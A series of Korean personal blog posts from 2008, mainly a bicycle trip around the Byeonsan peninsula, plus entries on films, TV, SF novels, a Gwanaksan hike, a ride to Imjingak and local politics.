채석강도 적벽강과 크게 다르지 않았다. 부스러지기 쉬운 셰일과 이암 따위의 켜켜이 쌓인 퇴적 층이 해식에 의해 떨어져 나가고 마모되면서 해수욕장에는 조그맣고 반질반질한 조약돌들이 널렸다. 사람들은 떨어져 나간 판석으로 전국 어디서나 볼 수 있는 소원탑을 쌓았다.

채석강: 적조

채석강에서 뜬금없이 적조를 보았다.

채석강

고개를 쳐들자 나타난 습곡. 요르단의 알 카즈네에서 더 멋지고 알록달록한 것들을 봐서인지(안데스에서도 마찬가지) 멋있어야 할 이것이 좀 시큰퉁... 하지만 세월과 연흔에 관해 훨씬 더 많은 것을 알고 있을 지질학자는 층층마다 꽤 자세하고 재밌는 얘기를 해 줄 수 있지 않을까? 지질학자에게 부탁해서 표지판을 하나 만들어 세워주면 얼마나 좋을까... 부모가 자식들 데리고 와서 멍청하게 바위만 쳐다보게 만들지 말고. 모처럼 바닷가에 왔으니 백합죽이나 회를 배불리 먹고 돌아가는 거야 기본이지만.

채석강

달팽이로 추측되는 것들이 진흙 바닥에 새긴 궤적. 척벽강과 채석강에서 생각보다 많은 시간을 보냈다. 아참, 그러고 보니 적벽강이나 채석강의 퇴적층에서 화석 비슷한 것을 보지 못했다.  벌써 다 파갔나?

채석강

업자가 관광용 땅굴을 판 것이 아니라면 저건 해식동굴일텐데 그 위에는 '청상어횟집'이란 처절한 난개발의 흔적이 돋보였다. 개발을 하려면 제대로 하던가, 변산반도 오는 길 내내 좀 마음에 안 드는 구석이 있다. 어설프게 대충 되는대로 개발하다가 죽도 밥도 안되어... 내가 뭐라 말할 처지는 아니지만 보고 있으면 한편으로는 안타깝고 한편으로는 욕지기가 나왔다. 채석강, 적벽강에 관한 관광 지도의 설명은 '중국에 그 비슷한 것이 있어서 이름을 그렇게 지었다'는 꼴사납고 바보스러운 얘기 뿐이다.

채석강이 있는 격포 해수욕장이 변산반도에서 개발이 가장 많이 이루어진 관광지같다. 근처에 군산식당이란 곳에서 점심을 먹을까 했지만 아침을 9시에 먹고 12시에 여기 도착해서 점심 먹기가 뭣해 내소사 부근이나 곰소에서 점심을 먹기로 했다.

전라 좌수영으로 향했다.  고저차 70m의 짧은 오르막길을 헉헉거리며 올랐다. 불멸의 이순신을 촬영지인 전라좌수영은 분위기가 그럴듯했다. 가까이 가서 벽을 두들기면 얇은 베니어판에 흰색 페인트를 칠해 놓은 것이지만. 수십차례 촬영할 꺼면(불멸의 이순신을 안봐서 어떤 드라마인지 모른다) 이왕 만드는 김에 제대로 좀 만들지 싶었다 --  그러기가 쉽지는 않겠지.

전라좌수영

앉아서  바람을 쐬며 쉬었다. 분위기가 참 좋다. 그늘에서 바닷바람 맞으며 한잠 잤으면 좋겠지만, 여차하면 무너질 것 같은 세트장이다 보니 기댈 자리가 마땅치 않다.

다시 패달을 밟았다. 30번 국도변에 있는 조각공원과 촬영장은 그냥 지나치기로 했다. 전라 좌수영 아래쪽에 있는 분위기 좋은 궁항을 지나고 상곡 해수욕장을 지나 다시 30번 국도와 만났다.  해가 떠서 날이 점점 더워진다.

모항 해수욕장

모항 전망대에서 바라본 모항 해수욕장.  여기까지 네 개의 이름있는 해수욕장과, 여기 저기 쉬기 좋은 해안을 여럿 지났다. 흡사 제주도 남서부처럼 아기자기하고 썩 괜찮은 해변이다. 아침나절부터 날씨가 좀 괜찮았다면 해변에서 놀다 갔을텐데, 그러지 못해 아쉽다. 모항 해수욕장도 그냥 지나쳤다.

햇볕이 따가워 강도처럼 버프로 얼굴을 반쯤 가리고, 작년에 사서 한 번도 쓰지 않았던 팔 토시를 착용했다. 여자들이나 입는 낯 간지러운 아이템이라고 생각했는데, 자전거 타려고 쫄바지 입고 다니면서 안 그래도 남의 눈 신경쓰지 않던 패션, 이제와서 새삼스럽게 신경 쓴다는게 뭣하지 싶어 맨살에 달라붙는 팔 토시를 과감하게 착용했는데 통풍 잘 되고 햇볕 차단이 잘 되서 상당히 만족스럽다. 진작부터 팔 토시 입을 껄 그랬다.

모래밭이 깔린 해수욕장은 모항 해수욕장이 끝이다. 그 이후로는 주로 갯벌이 나타났다. 어쩌다보니 내소사로 들어가는 삼거리를 지나쳤다. 내리막길에서 한창 가속이 붙어 있는 자전거를 다시 되돌리기가 뭣해 그냥 지나쳐 버렸다.  내소사 가는 길에 캠핑 사이트도 있고 산장도 꽤 여럿 있다. 텐트 들고 장기 여행 중에는 하룻밤 자기 좋지 싶다. 아참, 절 통행료가 있지!

곰소 갯벌

곰소로 가는 길에 본 갯벌

내소사를 지나쳐 버리니 곰소까지 금새 다달았다. 곰소가 외변산 관광의 마지막 지점이다.  곰소에서 밥 먹기로 했으니 밥집을 찾았다. 곰소를 두 바퀴 돌아봤지만 젓갈 백반으로 유명한 '곰소쉼터'는 보이지 않았다. 하는 수 없이 시장통의 조그만 식당에 들어가 백반을 시켰다. 찬 9가지에 된장국을 5천원에 내온다. 젓갈 3 종류가 식탁에 올랐다. 비싼 식사보다 차라리 이런 허름한 식당에서 백반 시켜 반찬 종지까지 박박 긁어먹는게 어쩐지 취향에 맞는다.

어젯밤 찜질방에서 봤던 사람들을 곰소에서 다시 보았다. 찜질방에서 하룻밤 자는 사람들 중에 유난히 경상도 사람들이 많았다. 그리고 희안하게도 광주나 목포, 전주 등 인근 지역 사람들보다 경상도 사람들이 유독 변산반도 관광 내내 발에 차일 정도로 많았다.

아내에게 전화해서 젓갈이나 사갈까 물으려다가 관뒀다. 들고 가기 귀찮다. 곰소에서 난 천일염이 그렇게 좋다면 젓갈 뿐만 아니라 된장, 간장, 김치도 다 맛있을 것이다. 사려면 소금을 사야할텐데, 소금을 푸대 단위로 파는 것 같아 그것도 관뒀다.

곰소항

곰소항에서 소화도 시킬 겸 하릴없이 놀았다.
곰소항

...
곰소항

도시 비둘기처럼 사람들에게 무언가를 갈구하는 듯한 갈매기도 구경하고...

곰소 염전

곰소를 빠져나오자마자 염전이 보였다. 염전 맞은 편에 '곰소쉼터' 식당이 보였다. 한참 찾을 땐 안 보이더니만...

등짝에 와닿는 햇볕이 상당히 따갑다. 전진속도와 뒤에서 밀어주는 미풍이 서로 상쇄되어 달리는 길이 거의 무풍 상태라 더 덥게 느껴지는 것 같다. 부안으로 되돌아가는 23번 국도가 나타날 때까지 쉼없이 달렸다.

사용자 삽입 이미지

갈림길에서 그늘이 드리운 버스 정류장을 찾아 자전거를 세우고 쉬었다. 자전거 여행자에게 국도변 버스 정류장만큼 좋은 휴식처도 드물다. 잠시 쉴 뿐만 아니라 비를 피하거나 낮잠을 즐기기에도 좋았다. 그런데 여긴 개미떼가 바글거린다. 3면이 막힌 버스 정류장 대신 보도에 털썩 주저 앉았다. 시원한 서풍이 땀을 식혀 주었다. 10분 쯤 아이스크림처럼 달콤하고 시원한 휴식을 취하고 다시 출발했다.

좀 바보같은 짓이지만 선운사 쪽으로 빠지는 고창 부근까지 가서 정읍 쪽으로 방향을 틀었다. 아이가 내일까지 아플 것 같으면 선운사로 가 민박에서 하룻밤 자던가 내장산 국립공원에서 하룻밤 자고 다음날 정읍으로 갈 생각이었지만 아내에게 아이 간병을 맡기고 나만 재미있게 놀러 돌아다니는 것이 도리가 아닌 것 같아(자기가 하고 싶은대로 하고 살았던 개마초 남성 중심 사회가 그립다) 오늘 중으로 집에 돌아갈 생각이다.

부안에서부터 이어지던 기나긴 유채꽃 길은 고창 교차로 앞에서 끊겼다. 외변산 길은 자전거 타고 다니기에 꽤 기분좋은 길이다. 갓길도 30~50cm로 어느 정도 확보되어 있고 팔을 스치는 유채꽃이 마치 마라토너를 반겨주는 시민처럼 정답게 바람에 흔들린다. 이 지점에서 정읍까지는 약 16km. 등짝에 쏟아지는 오후 햇살을 받고 뒤에서 밀어주는 선선한 미풍을 타고 쉬지 않고 정읍시까지 달렸다.

친구가 예전에 그런 말을 했다. 아직까지 새마을기가 펄럭이는 도시는 도시가 아니라 촌락(village)이라고. 정읍시에 들어서자 마자 수많은 새마을기가 펄럭였다. 장관이다. 친구와는 견해가 좀 다른데, 아마 시청 구석에 열박스쯤 쌓여있을 새마을기를 딱히 처치할 방법이 없고 도심에 남는 깃대는 많으니 되는 대로 꽂아놓은 것이지 싶다. 근 2년 지난 현 정권과 새마을기는 어쩐지 어울린다.

9시에 부안에서 출발해 17시 경 103km를 달려 정읍에 도착했다. 평속은 꾸준히 20kmh를 유지했지만 여기저기 쉬엄쉬엄 놀다가 오느라 생각보다 많은 시간이 걸렸다. 정읍 시내에 들어서자 마자 식당부터 찾았다. 시청쪽으로 올라가는 길에 '수석영양돌솥밥'이 있다. 6천원 짜리 식사를 시켜 먹었다. 꽤 괜찮았다.

6시 강남 터미널행 고속버스를 탔다.  3시간 걸려 서울에 도착. 버스에서 한 시간쯤 눈을 붙였다.

사용자 삽입 이미지
잠수교는 왜 찍었지? 아마 오세훈 시장 욕 좀 하려고 찍어뒀던 모양. 기분 좋은 날인데 그건 나중에.

터미널에서 집까지 꾸준히 패달을 밟았다. 어젯밤과 오늘밤 고속버스 터미널을 왕복한 거리는 46km, 변산반도에서 주행한 것을 더하면 148km를 달린 셈인데  기운이 남아 돌았다. 내 저질체력을 여태까지 지나치게 과소평가한 것일까? 아무래도 세 끼를 꼬박 잘 챙겨 먹고 비교적 평탄한 도로를 바람을 등지고 달린 덕분인 것 같다.

집에 도착해서 치킨에 캔맥주 두 개를 먹고 마셨다. 몸이 그것들을 진공청소기처럼 빨아들였다. 별로 피곤하지 않아 평소처럼 오전 3시30분에 잠들었다.

주행 전에 날씨와 기온, 풍향, 풍속 따위를 검토했다. 알아도 주행에 도움이 된다, 안된다 말할 만한 것은 아니지만 천상 기술자다 보니 데이터는 항상 쓸모가 있었다. 하루에 겨우 124km 달린 것으로 생색 내기는 뭣하지만, 예전에 변산반도 해안도로와 유사한 90km 가량의 동해안 도로를 달릴 때의 체력과는 비교가 안되는 그간의 질적 향상이 있었다. 주행 중간에 많이 쉬어서 그런 것인지도.

1-3 기어의 재발견: 이전 변속 패턴: 3-6, 2-6, 2-4, 2-2, 1-2. 이번 변속 패턴: 3-6, 2-6, 2-4, 1-3, 1-2. 경사도가 고만고만한 고갯길에서 1-3 기어로 케이던스를 2/3로 떨구고 약 8.3kmh 속력을 유지하면  별로 힘이 안 든다. 왜 유독 그 기어비에 그 속력에서 힘이 덜 들었는지 나중에 다시 테스트해 봐야겠다.

OSM GPS 지도는 지형도가 꽤 유용했다. 앞으로 가야할 고갯길이 몇 개이고 어느 지점에서 쉴까 흘낏 쳐다보는 정도의 유용함이니 다른 사람들에게 굳이 떠들만한 것은 못 된다. 그런 거 없어도 잘들 자전거 타왔다. POI가 보이는 zoom level의 조정이 필요해 보이고 도로 폭이 좀 넓게 렌더링되었으면 좋겠다 정도 나중에 개선할 것들도 알았다.

트랙로그와 SportTracks로 경로 분석을 해보니 상당히 유의미한 피드백을 얻을 수 있었다. 예를 들어 안장 높이 조절하지 않고 20km 달린 구간의 평속은 조정후 달린 속도에 비해 1.7kmh가 떨어진다.

짧은 코스를 돌다보니 교통비와 숙박비가 아깝다. 전라도에 간 김에 밥만큼은 잘 먹자 해서 밥값으로 쓴 것은 아깝지 않다.
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Into the Wild

잡기 2008. 10. 21. 17:48
30rock이 재미있다고 소개해 줘서 봤다. girlish한 수다라서 취향에 안 맞는다. 스마트폰에 넣어 두고 볼 게 없을 때 꾸역꾸역 보고 있다. 써티락을 기획하고 주인공을 해 먹고 있는 Tina Fey가 어째 낯이 익다 싶더만, 한 동안 메케인 진영에서 바보짓을 일삼던 페일린 흉내로 인기를 끌었다. 실은, 티나 페이가 페일린인 줄 알았다. 좀 뒤져보니 티나 페이가 꽤 유명한 코메디언이다. 얼마전에 30rock으로 에미상도 받았다. 허걱이군.

Sun Techday 세미나 무료 초대장 받고 점심이나 먹으러 갔다가 돗대기 시장 같은 분위기에 기가 질렸다. 잠실롯데호텔의 부페는 해산물 선도가 훌륭한 편인데 접시 한 번 담고 뒤를 돌아보니 흡사 메뚜기떼라도 지나간 것처럼 아무 것도 남지 않았다. 세미나홀은 미어터져서 뒤에 서서 발돋움질 하고 렉쳐를 들어야 할 판. 관심꺼리는 zfs 정도 밖에 없었다. zfs는 GPL이 아니라서 리눅스 커널에 포함되지 '못'했다. 리눅스 2.6.28에 ext를 대체할 차세대 FS로 btrfs를 사용할꺼란 루머가 돌았다. 이름이 이상해서 슬래시닷에서는 butter face나 but here face is...로 발음하는 사람도 있었다.

하여튼 세미나가 정이 떨어져 점심 먹고 옥션이 뿌린 1000원 티켓으로 메가박스에서 영화나 보자고 직원들과 삼성역으로 갔다. 옥션이 휴대폰으로 바코드 이미지를 보내주지 않아 제 돈 내고 영화를 봤다. 제목은 'Eagle Eye'. 주인공이 트랜스포머의 그 주인공이란다. 10분마다 뭔가 쉴틈없이 터지는 액션활극이다. 앞뒤가 이상하게 꼬이고 하이테크를 얼토당토않게 과대포장한  영화지만 모든 걸 잊고, 미친 인공지능인 아리아가 하는 귀여운 짓이 한국에서 정말 벌어졌으면 좋겠다는 생각이 들었다.

10월 23일 한국물리학회 대중강연 -- 미국의 크리스마스 강연 같은 건가? 꽤 재미있을 것 같다. 내친 김에 같은 블로그에서 소개한 지구에 쏟아지는 태양에너지 복사를 관측하는 NASA의 Glory Project에서 딸아이 이름으로 인증을 받았다.


사용자 삽입 이미지
아이가 Duke를 들고 있다. 프로그래밍하다가 스트레스 받을 때, 부글부글 끓어오르는 자괴심과 그 억제할 수 없는 폭력성을 해소하는 용도로 쓰이는 인형이 외계 생물 듀크다.

하여튼 가끔 아이 이름을 나사 미션에 올려주마. 나사는... 날이 갈수록 불쌍해진다. 오바마가 당선되면 세입 올리고 경기 부양하면서 사회안전망 확충 한다며(전통적인 민주당 프로파겐다) 그나마 쥐꼬리만해진 다수의 나사 미션을 대폭 축소할 것만 같다. 이명박 대통령이 경제살린다고 IT 신규사업 중단하듯이?

벤 에플렉, 맷 대이먼, 크리스 무어, 웨스 크레이븐이 executive producer로 참여한(그러니까 얼굴 마담으로 투자를 끌어 모은) 공포영화, Feast. 누군가 이 영화의 감상평에 이렇게 적어 놓았다: 친구가 개를 샀다기에 놀러갔다. 아직 어린 강아지였다. 그런데 암컷이었다. 나는 친구에게 물었다. "수컷은 싸잖아, 왜 수컷으로 안 샀어?" 친구는 말했다. "개라도 암컷으로 갖고 싶었어." 친구도 울고 나도 울고 개도 울었다. 낄낄 웃다가, 그래서 Feast를 보게 되었다.

요즘은 이런 영화가 유행인가 보다. 밑도 끝도 없이 나타나 덤비는 좀비떼에 생살 그대로 노출된 인간군상의 살점이 뚝뚝 떨어지는 고어물이다. 영화 초반에서 술집으로 뛰어든 Hero가 바로 죽어 나간다. 곧 Heroine도 히로의 뒤를 따라 저 세상으로 가고 괴물에게 아이가 잡아 먹혀 돌아버린 Heroine 2가 역할을 물려받는다. 기십명의 피갑칠 난도질에도 불구하고 영화가 비교적 친절해서 플롯을 따라가기(떨어진 머리와 다리를 적절히 갖다 붙이기)가 수월하다.

흥미롭게 보고 나서 내친 김에 Feast 2도 찾아 봤는데, 다 보고나니 B급 무비니 뭐니를 떠나, 감독이 무척 변태 같아 보였다.  이런 오타쿠 변태는 정말 오랫만에 접해 본다. 1편과 달리 이건 뭐... 맛이 갔다고 밖에... 유아 살해가 나오는데, 그건 보통 공포물에서 금기시되는 것 아니던가? 요즘 공포영화를 거의 보지 않아 트랜드를 잘 모르겠다.

전뇌코일:방화벽
전뇌코일: 해커할멈
전뇌코일. 어쩌다 '발굴'한 사이버펑크물. 워낙 나와 취향이 비슷한 사람을 만나기 어려운게, 아내 말로는 내 성격이 까칠하고 모가 나서란다. 그렇지는 않다. 내가 까칠한게 아니라 아내를 포함한 다수의 인간이 사회 적응에 쓸데없이 유연한 것이다.

하여튼 컬쳐 벌쳐도 아니고, 뭔가 재밌는 것을 보려면 이 노쇠한 몸을 몸소 똥밭과 쓰레기밭에서 한참 뒹굴려야 한달까?  전뇌코일은 그 와중에 발견한 예상 외의 수확이다. 다음 세대가 살았으면 싶은, 구체적으로 내 딸이 살았으면 싶은 바로 그 세계다. 2025년 무렵의 현실감이 팍팍 넘치는 이런 세계에 사는 초등학생들은 할 일이 많아 행복하지 않을까?

Into the Wild
영화 Into the wild. Art of Travel과 유사한 영화다. 주인공은 돌아다니길 좋아하는 타잎이다. 고교를 졸업하자 마자, 타고 가던 차를 버리고 모은 돈은 모두 기부하고 손에 있던 돈은 태워 없애고 미국 유랑을 시작한다. 음악이 그럴싸하고 영화가 심상치 않아 뒤져보니 숀 펜이 만들었다.

Into the Wild
김씨가 칼을 선물로 줬다. bucks 110. 주인공이 들고 있는 칼과 유사한데 날끝이 좀더 치켜 올라가 사냥용으로 쓸만한 것.


Into the Wild
보는 내내 아름다운 풍광에 감탄사가 흘러나왔다.  소로우와 잭 런던을 존경하던 그는 인간을 등지고 야생의 알래스카에서 온전히 자신의 힘으로 정착하기를 바랬다.

Into the Wild
주인공은 가족과 연락을 끊은 채 2년 동안 미국 각지를 방랑하며 수많은 사람들을 만난다. 잔정을 남기지 않았다. 카누를 타고 콜로라도 협곡을 지나 멕시코까지 가기도 했다. 멀어서 잘 안보이지만 쇼핑카트에 카누를 싣고 가는 주인공. 사실 나도 어린 시절부터 lake mead로부터  콜로라도 협곡, 그랜드 캐년 아래를 여행하고 싶어했다( 최근에 별을 쫓는 자, Men Vs. Wild, Amazing Race, 낚시에 미친 청년 등의 TV 프로그램 때문에 그야말로 융단 폭격을 당했다).

Into the Wild
영화를 보는 내내 주옥같은 장면들이 주마등처럼 흘러간다. 그가 야생보다 더 야생같은 인디아를 여행했더라면 자신의 똥고집을 버리고 완전히 다른 사람이 되었을텐데 하고 아쉬워 했다.  그랬더라면, 어쩌면 주인공과 내가 인도나 볼리비아의 어딘가에서 우연히 만났을 지도 모르겠다.

Into the Wild
이 바보는... 고기 훈제에 실패한다. 야영과 방랑과 고독이 뜬금없는 로망이 되는 월든 류의 글줄은 살벌하고 척박한 자연에서의 삶에 관한 조그마한 힌트나 지혜를 보여주지 않는다. 인간 혼자 야생에 정착하는 건 거의 미친짓이지만 그렇다고 불가능하다고 생각진 않지만. 영화의 결정적인 장면.

Into the World
그림처럼 아름다운 야생에서 주인공은 울부짖었다. "x같은 동물들은 다 어디 간 거야? 배고파 죽겠는데! 암 뻐킹 헝그리! 암 뻐킹 헝그리! 엉엉"

Into the World Final Chapter Getting of wisdom
Into the Wild의 Final Chapter: Getting of wisdom. '하지만 인생의 기쁨이 인간 관계에서 온다고 생각하면, 그건 틀린 생각이에요.' 영화는 실화였다. 마법의 버스를 배경으로 찍은 저 사진은 실제 그의 사진이다.  주인공과 나는 같은 종류의 인간이다. 그가 사람들과 주고 받는 대화는 그래서 내가 어린 시절 주위 사람들과 주고받은 대화와 많이 유사하다. 그가 나와 같은 종류의 사람들을 만났더라면... 자신할 수 없지만... 삶이 조금은 달라졌을 것만 같다. 석 달 동안 눈덮인 산 속에서 굶주림에 시달리고 정신이 나갈 무렵, 그는 일기장에 이런 글을 남겼다. Happyness only real when shared. <-- 감독(숀 펜)은 자신의 관점을 이 한 문장에 투사한다.  하여튼 안타까웠다. 많이 안타까웠다. 우리가 만났더라면... 연출이 괜찮고 풍광이 훌륭한데다 나같은 주인공이 나오니, 그야 말로 볼만한 영화였다.

그러고 보면 저번 주말엔 건진 작품들이 평소의 300배 이상이네?

시간날 때 USN을 만들어 볼까 해서 뒤지다가 발견한 The Contiki OS 에서 얼마전 12KB의 code와 2KB의 RAM 만을 사용하여 IPv6 를 구현했다는 소식을 보았다. IPv4의 어드레스 공간은 2^32 = 10^10가량인데, IPv6는 2^128=10^38이 된다. 아주 작은 센서라도 전 세계에 걸쳐 겹치지 않는 ip address를 가질 수 있으니까 꽤 쓸만한 것이다. 콘티키 os 덕택에 새로운 mcu로 견문을 넓히기도 했다. TI의 MCU 샘플 오더를 했다. MCU 가격이 싼 편이다. 언제 한 번 써먹어볼 기회가 있으면 좋겠다.

한국에서는 뭐든 개떼같이 군중이 모이면 밥맛 떨어지기 일쑤였다. 자전거도 마찬가지. 저그떼처럼 길 막고 몰려다니며 떼잔차질하는 사람들 보면 나도 모르게 인상을 찡그렸다.

관악산 자운암 능선길
단풍이 흡사 설악산처럼 곱게 들었는데 카메라폰이 색상은 물론 계조, 선까지 뭉개 버렸다. 단풍이 고운데, 학교 입구에서 정부가 황우석 호주 특허를 고의로 취하시켰다고 확성기 차가 크게 떠들어대는 소리가 산꼭대기까지 왕왕 울려서... 풍경의 격조를 떨궜다.

2주 전에는 집에서 애 보느라 관악산행을 취소했다. 저번주 일요일에 갈 수 있었다. 자전거로 1h30m 걸려 서울대 신공학관 입구에 도착. 연주대에서 팔봉을 거쳐 다시 서울대 입구로 돌아오는 계획이다. 집에서 등산로 입구까지 편도 거리가 29km 밖에 안되지만 자전거를 타고 가는게  무척 힘들었다. 특히 학교 입구에서 신공학관까지 올라가는 길은 내내 오르막.

자전거에서 내려 쉬지 않고 자운암 능선길을 따라 올라갔다. 연주대를 눈 앞에 두고 오를까 말까 망설였다. 아침을 먹는 둥 마는 둥 했더니 배가 몹시 고파 다리에 힘이 안 들어간다. 마침 명당 자리가 보여 주저 앉았다. 서울대 입구의 '한솥밥'에서 산 '도련님 도시락 스페셜(3900원)'을 까 먹었다. 밥 먹고 쉬면서 단풍 감상하다가 기운 차리고 내려왔다. 이상하게 힘든 하루였다. 등산화의 바닥을 갈아야 할 때가 된 것 같다. 조만간 관악산에 다시 와야겠다.
61.5km 주행. 이중 2.5km 가량이 산길 올라간 것. 평속 13.2kmh, 주행시간 4h40m(이중 1h30m은 산을 오르내린 시간), 쉰 시간  2h8m. 총 6h48m.

사용자 삽입 이미지
이 사진은 저저번주에 한강 일주할 때 찍은 사진이다. 반포대교에 한창 뭔가를 설치하고 있다. 나중에 뉴스를 보니 낙하분수라는 것이다. 설령 돈지랄이라고 원성이 자자해도 우중충하고 삭막한 한강변에 뭔가 볼꺼리를 하나 하나 만들어 가는 것만큼은 긍정적이다.

David Weber, Mutineers' Moon : 설명은 위키피디아에서 보는 것이 나을 것 같다. 온라인에서 Mutineer's Moon이 첫 권인 Heirs of Empire series볼 수도 있다. 콜린 맥킨타이어는 과연 뭐하는 놈일까, 소설을 읽는 내내 그다지 하는 일 없이 빈둥거리며 대사도 없는 주인공과 18세기 영어를 구사하기 때문에 언청이 같아 보이는 질타니쓰 때문인지 재미가 없다.

가슴을 뛰게 하는 우주전은 커녕, 인류의 시조인 우주인들이 패가 갈려(Anu와 Horus) 지구에서 싸워대는 전형적으로 꼴사나운 (요새 헐리웃 영화 같은) 줄거리는 소설이 출간된 20년 전에는 참신했겠지 싶다. 2권쯤 가면 차도가 있을까? 별로 더 읽고 싶은 생각이 안 든다. 우주전쟁류를 쓰는 작가들 중에는 기초 물리학 상식도 없는 작자들이 많다. 예전에는 그냥 대충 무시하고 읽었는데, 이젠 선택의 폭이 넓어져서 인지 그런 글은 읽기가 힘이 든다. 작가와 기싸움이라도 하는 것처럼.

Michael McCollum, Antares Dawn. 흡사 스타 트랙을 읽는듯한 기시감을 느꼈다. 2권인 Antares Passage의 1/3 정도까지 읽었다. 작가가 워낙 친절하고 쉽게 글을 쓰고 캐릭터가 안정적인데다 서사도 무난. 다시 말해 평이한 글이라 쉽게 읽기에 집중할 수 있는 전형적인 80년대 SF. Mutineer's Moon과 마찬가지로 20년 전 소설임에도 두 소설이 차이가 나는 것은 비교적 정확한 기술적 묘사를 구사하는 저자가 나사 엔지니어 출신이라서 인 듯.  읽기가 쉽다는 것이지 흥미진진하다는 것과는 거리가 멀다. foldpoint 입구에 기뢰를 잔뜩 설치하지 않은 것은 잘 이해가 가지 않는다.

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임진각 주행

잡기 2008. 5. 18. 23:44
의 안써야 우리말이 깨끗해진다. -- 찾았다. 기사 한 꼭지로 끝나는 것인 줄 알았는데 연재물이었구나.

중국 지진 -- 예전에 중국 여행할 때 청도를 비롯해 사천성에서 꽤 오래 묵었다. 소수민족, 특히 중국어를 사용하는 티벳인들을 많이 본 기억이 난다. 중국의 해안 지방과 달리 순하고 착한 사람들이 많았다. 지진으로 무너진 건물들, 폐허를 보니 마음 아프다.

광우병으로 여전히 시끄럽다.

  • 광우병이 지금 만큼 한국에서 인기가 없던 2006년 9월부터 지금까지 나는 내가 광우병 환자인지 의심을 품고 있다.
  • 세간에 널리 알려졌다시피 vCJD는 '빌어먹을 조선,중앙,동아'의 약자다.
  • 국회에 이명박 대통령 탄핵을 요구합니다 에 별로 공감하지 않기 때문에 서명하지 않았다.
  • 작년 쯤에 마트에서 미국산 척아이롤을 사서 집에서 스테이크를 구워 먹었는데 영 맛이 없어 다시 사 먹지 않았다.
  • 그런데 보험사에서 광우병 특약이 나올까?
자전거 타고 임진각에 갔다왔다. 5월도 어느새 반이 지났지만 올해 자전거 탄 것은 임진각 갔다온 것을 포함해 고작 네 번, 총 198km 주행에 주행시간은 10시간이 전부다. 가정에 충실하면 이렇게 된다.

임진각 주행은 결과가 별로 좋지 않았다. 84km 주행에 평속 18.0kmh, 4h30m 주행했다.  2005년 9월 3일 주행 평속은 18.4kmh. 어찌나 오랫만에 자전거를 탔는지 엉덩이가 쑤시고 온 몸이 뻐근하다.

갈 때는 평속 20kmh 였지만 올 때는 다리가 타들어가는 것처럼 쑤셨다. 약 3년 만에 임진각을 다시 방문한 것이다. 그때보다 나아져야지 어째 더 나빠졌는데, 작년 겨울부터 쭉 운동 못하고 일과 가사에 시달리다보니 뱃살이 덕지덕지 붙어 있었다.

평화공원
3년 전과 달라진 것이 있다. 그때는 구글 어스를 사용하지 않았다. 점심을 먹기 위해 들른 평화공원.

Cacao 72
집에 남아있던 페스트리와 지하철에서 개당 500원 주고 산 일제 초콜렛으로 평화공원에서 먹은 런치 스페셜. 설탕이 결여된 초콜렛은 유감스럽게도 지친 근육에 힘이 되어주지 않았다.

임진각 구글어스
GPS와 정확한 촬영시간이 기록되는 PDA폰 카메라에 구글 어스가 결합되면 여행이 정밀해진다. 임진각에서 컵라면 하나 먹고 담배 한 대 피웠다.

임진각에서 바라본 북한 땅
3년 전보다 중국인 관광객이 늘어난 듯 싶다. 세월이 지날수록 분단의 아픔도 점점 희석되는 느낌이다. 언제쯤 자전거로 저 다리를 건너 보려나...

추돌사고 지점
돌아오는 길에 추돌 사고를 목격했다. 언덕받이에 건널목이 있는데 우하에서 중상 방향으로 앞 차가 언덕을 오르던 중 신호등에서 급정거 하는 바람에 뒤따르던 차가 박았다.

주행로그
30m에서 64m까지 오르는, 시야가 제한된 커브 길 언덕 꼭대기에 건널목을 설치한 고양시의 미친 센스 탓이지 싶다.

오랫만에 자전거를 타 보니 나 역시 두 차례 인명 사고가 날 뻔 했지만 슬기롭게 대처하여 자전거에는 아무런 흠집이 생기지 않았다.

주행 마치고 집에 돌아오는 길에 수퍼에 들렀더니 7900원짜리 프라이드 치킨을 5800원에 판매한다. AI 때문에 값이 내린 것이지 싶어 냉큼 집어들었다. 그리고 새로 나온 카스 레몬이 먹을만 하다는 얘기를 얼마 전에 들어 1.6리터 짜리를 하나 샀다. 평: 카스 레몬은 혓바닥이 마비된 환자들이나 마실 것 같은 맥주였다.

하도 볼게 없어서 찌거지나 정리하는 셈치고 배틀스타 갤럭티카 3기 마지막과 4기 일부를 연달아 보면서 닭과 맥주를 먹고 마셨다.  한 번 쓰레기는 영원한 쓰레기임을 끊임없이 벽에 머리 박아가며 입증하고자 애쓰는 보기드문 닭대가리 드라마(이 정도면 곤조지 싶다)에 맛 없는 맥주를 곁들이니 절로 졸음이 쏟아진다.

하도 졸려 평소보다 3시간 일찍 잠자리에 들었다가 잠에서 깨기를 반복하며 수 차례 설사했다. 희안한 것은 설사 탓인지 대낮의 격렬한(?) 운동 탓인지, 아니면 격렬한 운동으로 인한 환골탈퇴 때문인지 뱃살과 옆구리 살이 평소보다 절반 가량 줄었다. 청바지를 입자 혁대를 안 차면 쑥 벗겨질 기세다.

저번 주에는 아내가 내 늘어진 뱃살을 트집 잡으며 집에서 짜장면 따위나 시켜먹으니 그렇지 라고 핀잔을 준다. 결혼 전부터 지금까지 주욱 그렇게 먹고 살았다. 그때는 술까지 심하게 마셨다. 요즘 뱃살이 붙은 것은 움직이는 양이 적고 운동을 통 안해서 그렇다. 올해 내가 자전거를 탄 횟수가 지금까지 고작 4회다. 자전거 타러 나가고 싶지만, 집안 사정상 그럴 기회가 생기지 않았다. -- 아내가 절에 가서 봉사활동 하는 동안, 주말에 집에 틀어박혀 애를 보거나 수퍼에서 50명 한정으로 300g짜리 딸기 한 패키지를 500원에 판매하는 4시 이벤트 줄에 아줌마들 틈에 애를 업고 서 있던가.

천둥번개가 몰아치는 일요일 오후에는 배가 푹 꺼진데다 혁대가 없어 질질 끌리는 청바지를 입고 빗 속을 돌아다녔다. 집에 돌아와서 신발을 꼬매려고 보니 반짓고리가 없다. 저번 주말에는 신발 밑창이 떨어져 본드로 붙였다. 생각해보니 굉장히 궁상스럽게 살고 있는 것 같다. 궁상스러운 생활과 달리 최근 서너 차례에 걸쳐 젊은 여자들이 먹음직스럽다는 표정을 지은 채 날더러 잘 생겼다고 말했다. 살다보니 광우병 의심환자에게 별 일이 다 생긴다.


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디지탈 케이블 방송

잡기 2008. 3. 26. 00:39
연서시장
선거구로 은평을에 속하는 우리 동네에서 찍은 사진. 여기가 텃밭인 이재오에 대적하고자 문국현이 출마한다. 허경영은 옥중출마도 불사하겠다고 말한 바 있다. 2004년 4월에 했던 내 생애 첫 투표가 오로지 이재오 떨구려고 한 것이지만 뜻대로 되지 않았다. 이번에도 아내를 설득해서 저번 대선처럼 문국현을 찍을 것이다. 이 지역에서 부지런하고 일 잘한다는 평을 듣는 이재오는 최근 은평구민에게 민심을 잃었다.

